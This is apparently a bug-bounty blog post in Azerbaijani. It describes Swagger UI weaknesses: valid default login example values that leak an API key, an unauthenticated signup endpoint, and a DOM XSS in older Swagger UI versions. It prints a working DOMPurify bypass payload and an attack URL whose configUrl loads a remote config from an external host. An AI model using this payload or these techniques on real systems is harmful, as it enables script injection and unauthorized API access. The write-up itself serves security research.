Swaggerdə qarşılaşdığım hücum vektorları ($$$)

Swaggerdə qarşılaşdığım 3 əsas attack vektoru haqqında danışacam.Çoxdandı bu mövzudan yazmaq istəyirdim nəhayət həmin gün gəldi:) Əsasən bug hunterlər üçün fərqli yanaşmalar ortaya qoyacağıq.Ümid edirəm faydası olar.

memmed rehimzade
3 min readMar 31, 2024

Nədir bu swagger?

Swaggerin əsas məqsədi RESTApi-lər üçün interfeysin təminidir.Üstəlik api dokumentasiyanı manual yazmaq həm də update saxlamaq çətin məsələdir.Burada da köməyimizə swagger gəlir.Swagger bizə source koda əlçatanlığımız olmadan belə RESTApi sorğularını incələməyə və anlamağa yardımçı olur.

Keçək məsələnin security hissəsinə.Ümumiyyətlə swagger UI necə recon olunur,bu interfeysi necə bug bounty skoplarında tapa bilərik deyirsizsə nuclei toolu işimizə yaraya bilər.

Həmişəki kimi avtomatlaşdırma işimizə yarayır lakin bir yerdən sonra mütləq ki manual yola çıxmalıyıq.

BUG #1 (Full Api Access)

Aşağıda basic test swagger nümunəsi verilib:

Yuxarıdakı şəkildən (qıfıl iconu) görə bilərik ki normalda avtorizasiyamız olmadan hər hansı endpointə sorğu göndərə bilmərik.

Bug bounty skoplarında bir neçə swagger ui -a nəzər yetirəndən sonra swaggerlərin birində maraqlı bir məqamla qarşılaşdım.

Normal olaraq bütün api-lər sorğu göndərdikdə avtorizasiya üçün api-key tələb edirdi

Lakin bir option istisna idi, səhifənin ən sonunda avtorizasiya tələb etməyən bir api tapdım bu da user/sign-in endpointi idi. Normal haldır — login üçün niyə api-key tələb olunsun ki?

Optiona daxil olduğum zaman sürprizlə qarşılaşdım.Default yazdıqları example value — valid idi və sign-in olduqda responsda valid api-key qayıdırdı və bu api-key vasitəsilə yuxarıda qeyd etdiyim bütün api-lərə sorğu göndərə bilirik:

Beləcə full api access əldə etmiş olduq,hackerone üçün yenə də şans qalmadı :)

BUG #2 improper access control

Yenə başqa bir skopda swagger analizlərində avtorizasiya tələb etməyən api tapdım, 1-ci başlıqda yazdığımın oxşar versiyasıdır deyə çox ətraflı yazmayacam.Bu dəfə məsələ signup idi, nə ağıl etmişdilərsə signup avtorizasiya tələb etmirdi yəni istədiyin qədər istədiyin istifadəçini avtorizasiyasız yarada bilərsən:

BUG #3 DOM-XSS SWAGGER

Swagger 3.14.1 < 3.38.0 versiyalarında XSS açığı mövcuddur.Səbəb isə DomPurify -ın köhnə versiyasını istifadə etməsidir.

Yeri gəlmişkən DomPurify input sanitizasiyası üçün tərtib olunmuş library-dir.

Əvvəlki versiyanı aşağıdakı payloadla bypass edə bilərik:

<form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert('textarea') src=1>"></form>

Final url bu şəkildə olacaq:

https://target.com/swagger-ui/index.html?configUrl=https://jumpy-floor.surge.sh/test.json

Burada qeyd olunan şərtlər daxilində config faylını, DOM-u external mənbədən ( json və ya yaml ola bilər) çağıraraq XSS trigger etmək mümkündür:

--

--

memmed rehimzade
memmed rehimzade

Written by memmed rehimzade

cybersecurity specialist/ penetration tester

No responses yet